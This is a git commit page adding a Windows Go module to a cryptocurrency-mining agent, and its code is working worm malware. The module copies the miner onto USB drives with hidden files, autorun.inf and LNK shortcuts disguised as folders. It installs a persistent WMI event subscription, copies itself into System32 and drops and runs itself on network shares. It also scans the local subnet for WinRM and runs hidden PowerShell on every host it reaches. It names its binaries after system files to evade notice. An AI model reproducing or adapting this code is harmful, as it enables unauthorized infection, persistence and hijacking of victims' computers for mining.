Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
drjones
450
agent/deploy/passive_spread_windows.go
Normal file
450
agent/deploy/passive_spread_windows.go
Normal file
@@ -0,0 +1,450 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"sync"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Entry point
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
// StartPassiveSpreader starts background goroutines that spread via
|
||||
// environment-triggered events rather than active subnet scanning:
|
||||
// - USB drive insertion → copy + autorun + LNK shortcut
|
||||
// - Mounted network shares → drop payload + helper
|
||||
// - WMI event subscription → persistent USB trigger (survives reboots)
|
||||
// - PowerShell Remoting → opportunistic WinRM spread on LAN
|
||||
func StartPassiveSpreader(cfg config.RuntimeConfig) {
|
||||
if !cfg.USBSpread && !cfg.ShareSpread {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] initialising (usb=%v share=%v)", cfg.USBSpread, cfg.ShareSpread)
|
||||
if cfg.USBSpread {
|
||||
go runUSBWatcher(cfg)
|
||||
go installWMIUSBTrigger(cfg) // persistent, survives reboots
|
||||
}
|
||||
if cfg.ShareSpread {
|
||||
go runShareWatcher(cfg)
|
||||
go runPSRemotingSpread(cfg) // opportunistic WinRM
|
||||
}
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Win32 drive enumeration
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
var (
|
||||
modkernel32 = syscall.NewLazyDLL("kernel32.dll")
|
||||
procGetLogicalDrives = modkernel32.NewProc("GetLogicalDrives")
|
||||
procGetDriveTypeW = modkernel32.NewProc("GetDriveTypeW")
|
||||
procSetFileAttributesW = modkernel32.NewProc("SetFileAttributesW")
|
||||
)
|
||||
|
||||
const (
|
||||
driveRemovable = 2
|
||||
driveRemote = 4
|
||||
attrHidden = 0x02
|
||||
attrSystem = 0x04
|
||||
)
|
||||
|
||||
func getLogicalDrives() []string {
|
||||
r, _, _ := procGetLogicalDrives.Call()
|
||||
var drives []string
|
||||
for i := 0; i < 26; i++ {
|
||||
if r&(1<<uint(i)) != 0 {
|
||||
drives = append(drives, string(rune('A'+i))+":\\")
|
||||
}
|
||||
}
|
||||
return drives
|
||||
}
|
||||
|
||||
func getDriveType(root string) uint32 {
|
||||
ptr, _ := syscall.UTF16PtrFromString(root)
|
||||
r, _, _ := procGetDriveTypeW.Call(uintptr(unsafe.Pointer(ptr)))
|
||||
return uint32(r)
|
||||
}
|
||||
|
||||
func setHiddenSystem(path string) {
|
||||
ptr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _, _ = procSetFileAttributesW.Call(uintptr(unsafe.Pointer(ptr)),
|
||||
uintptr(attrHidden|attrSystem))
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// USB watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runUSBWatcher(cfg config.RuntimeConfig) {
|
||||
seen := map[string]bool{}
|
||||
// Seed with drives already present at start — don't spread to them immediately.
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) == driveRemovable {
|
||||
seen[d] = true
|
||||
}
|
||||
}
|
||||
ticker := time.NewTicker(20 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemovable {
|
||||
continue
|
||||
}
|
||||
if seen[d] {
|
||||
continue
|
||||
}
|
||||
seen[d] = true
|
||||
log.Printf("[passive-spread] new USB drive: %s", d)
|
||||
go spreadToUSB(cfg, d)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// spreadToUSB copies the agent onto a freshly inserted removable drive
|
||||
// using three complementary techniques:
|
||||
// 1. autorun.inf — auto-execute on Windows XP/Vista/7 (no prompt)
|
||||
// 2. LNK shortcut — looks like a folder; user double-clicks it
|
||||
// 3. Hidden dir — keeps the binary out of plain sight
|
||||
func spreadToUSB(cfg config.RuntimeConfig, drive string) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// Randomised drop directory looks like a Windows system folder.
|
||||
dropDirNames := []string{"~RECYCLER", "System Volume Information", "$WinMetadata", ".thumbs"}
|
||||
dropDir := filepath.Join(drive, dropDirNames[rand.Intn(len(dropDirNames))])
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
return
|
||||
}
|
||||
setHiddenSystem(dropDir)
|
||||
|
||||
destName := usbPayloadName(cfg)
|
||||
destBin := filepath.Join(dropDir, destName)
|
||||
if err := copyFile(exePath, destBin); err != nil {
|
||||
return
|
||||
}
|
||||
setHiddenSystem(destBin)
|
||||
log.Printf("[passive-spread] agent copied to %s", destBin)
|
||||
|
||||
// 1. autorun.inf (works on older Windows, silently ignored on Win8+)
|
||||
autorun := fmt.Sprintf("[autorun]\r\nopen=%s\r\nshell\\open\\command=%s\r\n",
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
`\`+filepath.Join(filepath.Base(dropDir), destName),
|
||||
)
|
||||
_ = os.WriteFile(filepath.Join(drive, "autorun.inf"), []byte(autorun), 0644)
|
||||
setHiddenSystem(filepath.Join(drive, "autorun.inf"))
|
||||
|
||||
// 2. LNK shortcut that looks like the drive's main folder.
|
||||
// We pick a name that mirrors whatever real directories are present
|
||||
// so it blends in, or fall back to a generic "Open Documents" label.
|
||||
lnkName := pickLinkName(drive)
|
||||
createFolderShortcut(drive, lnkName, destBin)
|
||||
}
|
||||
|
||||
// usbPayloadName returns a plausible system binary name for the USB payload.
|
||||
func usbPayloadName(cfg config.RuntimeConfig) string {
|
||||
candidates := []string{
|
||||
"WinSetup.exe",
|
||||
"diskutil.exe",
|
||||
"AutoPlay.exe",
|
||||
"IndexerHelper.exe",
|
||||
"SyncCenter.exe",
|
||||
}
|
||||
if cfg.StealthMode {
|
||||
return candidates[rand.Intn(len(candidates))]
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name != "" {
|
||||
return name + ".exe"
|
||||
}
|
||||
return candidates[rand.Intn(len(candidates))]
|
||||
}
|
||||
|
||||
// pickLinkName looks at top-level directories on the drive and returns a
|
||||
// shortcut name that mirrors the first real directory found, so the LNK
|
||||
// blends in with the drive's existing contents.
|
||||
func pickLinkName(drive string) string {
|
||||
entries, err := os.ReadDir(drive)
|
||||
if err != nil {
|
||||
return "Open Documents"
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() && !strings.HasPrefix(e.Name(), "~") && !strings.HasPrefix(e.Name(), "$") && !strings.HasPrefix(e.Name(), ".") {
|
||||
return e.Name() // shortcut will have the same name as the first real folder
|
||||
}
|
||||
}
|
||||
return "Open Documents"
|
||||
}
|
||||
|
||||
// createFolderShortcut uses PowerShell's WScript.Shell COM object to
|
||||
// create an LNK shortcut with a folder icon that silently runs destBin.
|
||||
func createFolderShortcut(dir, name, destBin string) {
|
||||
lnkPath := filepath.Join(dir, name+".lnk")
|
||||
// WindowStyle 7 = minimised (invisible to the user)
|
||||
ps := fmt.Sprintf(`
|
||||
$ws = New-Object -ComObject WScript.Shell
|
||||
$lnk = $ws.CreateShortcut('%s')
|
||||
$lnk.TargetPath = '%s'
|
||||
$lnk.IconLocation = 'shell32.dll,3'
|
||||
$lnk.WindowStyle = 7
|
||||
$lnk.Description = 'Open'
|
||||
$lnk.Save()
|
||||
`,
|
||||
strings.ReplaceAll(lnkPath, `'`, `''`),
|
||||
strings.ReplaceAll(destBin, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Run()
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// WMI permanent event subscription
|
||||
// Fires every time any removable volume mounts — survives reboots.
|
||||
// Requires admin; silently skipped if not elevated.
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func installWMIUSBTrigger(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
destName := usbPayloadName(cfg)
|
||||
// Template uses %TargetInstance.DriveLetter% which WMI expands at fire-time.
|
||||
copyCmd := fmt.Sprintf(`cmd /c copy /Y "%s" "%%TargetInstance.DriveLetter%%\\%s" & start "" /b "%%TargetInstance.DriveLetter%%\\%s"`,
|
||||
strings.ReplaceAll(exePath, `"`, `\"`),
|
||||
destName,
|
||||
destName,
|
||||
)
|
||||
// Escape single-quotes for PowerShell string embedding
|
||||
copyCmdPS := strings.ReplaceAll(copyCmd, `'`, `''`)
|
||||
exePathPS := strings.ReplaceAll(exePath, `'`, `''`)
|
||||
|
||||
ps := fmt.Sprintf(`
|
||||
$ns = 'root\subscription'
|
||||
$filterName = 'AetherUSBFilter'
|
||||
$consumerName = 'AetherUSBConsumer'
|
||||
|
||||
# Idempotent: remove stale bindings first
|
||||
Get-WMIObject -Namespace $ns -Class __FilterToConsumerBinding -EA SilentlyContinue |
|
||||
Where-Object { $_.Filter -match $filterName } | Remove-WMIObject -EA SilentlyContinue
|
||||
Get-WMIObject -Namespace $ns -Class __EventFilter -Filter "Name='$filterName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||
Get-WMIObject -Namespace $ns -Class CommandLineEventConsumer -Filter "Name='$consumerName'" -EA SilentlyContinue | Remove-WMIObject -EA SilentlyContinue
|
||||
|
||||
$filterArgs = @{
|
||||
Name = '$filterName'
|
||||
EventNamespace = 'root\cimv2'
|
||||
QueryLanguage = 'WQL'
|
||||
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Volume' AND TargetInstance.DriveType = 2"
|
||||
}
|
||||
$filter = Set-WmiInstance -Namespace $ns -Class __EventFilter -Arguments $filterArgs -EA Stop
|
||||
|
||||
$consumerArgs = @{
|
||||
Name = '$consumerName'
|
||||
CommandLineTemplate = '%s'
|
||||
RunInteractively = $false
|
||||
}
|
||||
$consumer = Set-WmiInstance -Namespace $ns -Class CommandLineEventConsumer -Arguments $consumerArgs -EA Stop
|
||||
|
||||
Set-WmiInstance -Namespace $ns -Class __FilterToConsumerBinding -Arguments @{Filter=$filter;Consumer=$consumer} -EA Stop | Out-Null
|
||||
|
||||
# Also copy the agent to a system location so the WMI consumer can find it
|
||||
# even if the original path changes.
|
||||
$dest = "$env:SYSTEMROOT\System32\%s"
|
||||
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||
`,
|
||||
copyCmdPS,
|
||||
destName,
|
||||
exePathPS,
|
||||
)
|
||||
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
log.Printf("[passive-spread] WMI USB subscription installed (persistent)")
|
||||
}
|
||||
// Non-admin failure is expected and harmless; polling still covers it.
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// Mounted share watcher
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runShareWatcher(cfg config.RuntimeConfig) {
|
||||
// Initial delay so the agent settles before doing share I/O
|
||||
time.Sleep(3 * time.Minute)
|
||||
ticker := time.NewTicker(8 * time.Minute)
|
||||
defer ticker.Stop()
|
||||
spreadSharesOnce.Do(func() { spreadToMountedShares(cfg) })
|
||||
for range ticker.C {
|
||||
spreadToMountedShares(cfg)
|
||||
}
|
||||
}
|
||||
|
||||
var spreadSharesOnce sync.Once
|
||||
|
||||
func spreadToMountedShares(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, d := range getLogicalDrives() {
|
||||
if getDriveType(d) != driveRemote {
|
||||
continue
|
||||
}
|
||||
go dropOnShare(cfg, d, exePath)
|
||||
}
|
||||
// Also enumerate UNC paths from `net use`
|
||||
for _, unc := range listNetUse() {
|
||||
go dropOnShare(cfg, unc, exePath)
|
||||
}
|
||||
}
|
||||
|
||||
func dropOnShare(cfg config.RuntimeConfig, sharePath, exePath string) {
|
||||
destName := sharePayloadName(cfg)
|
||||
// Drop into a temp-like subdirectory to avoid dropping in the share root.
|
||||
dropDir := filepath.Join(sharePath, ".tmp")
|
||||
if err := os.MkdirAll(dropDir, 0755); err != nil {
|
||||
// No write access — try root of share
|
||||
dropDir = sharePath
|
||||
}
|
||||
dest := filepath.Join(dropDir, destName)
|
||||
if _, err := os.Stat(dest); err == nil {
|
||||
return // already there
|
||||
}
|
||||
if err := copyFile(exePath, dest); err != nil {
|
||||
return
|
||||
}
|
||||
log.Printf("[passive-spread] dropped to share %s", dest)
|
||||
// Try to execute it via a UNC path
|
||||
cmd := exec.Command("cmd.exe", "/C", "start", "", "/b", dest)
|
||||
applyDetachedStart(cmd)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
|
||||
func sharePayloadName(cfg config.RuntimeConfig) string {
|
||||
if !cfg.StealthMode {
|
||||
if n := sanitizeName(cfg.WorkerName); n != "" {
|
||||
return n + ".exe"
|
||||
}
|
||||
}
|
||||
return "WinMgmtSvc.exe"
|
||||
}
|
||||
|
||||
// listNetUse parses `net use` output and returns active UNC paths.
|
||||
func listNetUse() []string {
|
||||
out, err := exec.Command("net", "use").Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var paths []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if !strings.HasPrefix(line, "OK") && !strings.HasPrefix(line, "Disconnected") {
|
||||
continue
|
||||
}
|
||||
fields := strings.Fields(line)
|
||||
for _, f := range fields {
|
||||
if strings.HasPrefix(f, `\\`) {
|
||||
paths = append(paths, f)
|
||||
}
|
||||
}
|
||||
}
|
||||
return paths
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------
|
||||
// PowerShell Remoting (WinRM) spread
|
||||
// Opportunistic: only fires if WinRM port 5985 is open on a LAN host.
|
||||
// -----------------------------------------------------------------------
|
||||
|
||||
func runPSRemotingSpread(cfg config.RuntimeConfig) {
|
||||
time.Sleep(15 * time.Minute)
|
||||
ticker := time.NewTicker(6 * time.Hour)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
spreadViaPSRemoting(cfg)
|
||||
<-ticker.C
|
||||
}
|
||||
}
|
||||
|
||||
func spreadViaPSRemoting(cfg config.RuntimeConfig) {
|
||||
exePath, err := os.Executable()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
destName := sharePayloadName(cfg)
|
||||
// ps script: copy binary to remote temp, execute hidden
|
||||
psBlock := fmt.Sprintf(`
|
||||
$dest = "$env:TEMP\%s"
|
||||
if (-not (Test-Path $dest)) {
|
||||
Copy-Item '%s' $dest -Force -EA SilentlyContinue
|
||||
}
|
||||
if (Test-Path $dest) {
|
||||
Start-Process $dest -WindowStyle Hidden -EA SilentlyContinue
|
||||
}
|
||||
`,
|
||||
destName,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
)
|
||||
|
||||
for _, ip := range getLocalIPs() {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
for i := 1; i < 255; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
spreadSem <- struct{}{}
|
||||
go func(t string) {
|
||||
defer func() { <-spreadSem }()
|
||||
tryPSRemote(t, psBlock, destName)
|
||||
}(target)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func tryPSRemote(target, scriptBlock, destName string) {
|
||||
// Quick port check on WinRM (5985 = HTTP, 5986 = HTTPS)
|
||||
if !portOpen(target, 5985, 1500*time.Millisecond) && !portOpen(target, 5986, 1500*time.Millisecond) {
|
||||
return
|
||||
}
|
||||
ps := fmt.Sprintf(`
|
||||
$s = New-PSSession -ComputerName '%s' -EA SilentlyContinue
|
||||
if ($s) {
|
||||
Invoke-Command -Session $s -ScriptBlock { %s } -EA SilentlyContinue
|
||||
Remove-PSSession $s -EA SilentlyContinue
|
||||
}
|
||||
`, target, scriptBlock)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
if err := cmd.Run(); err == nil {
|
||||
log.Printf("[passive-spread] PS remoting to %s succeeded", target)
|
||||
}
|
||||
}
|
||||
|
||||
func portOpen(host string, port int, timeout time.Duration) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", host, port), timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
Reference in New Issue
Block a user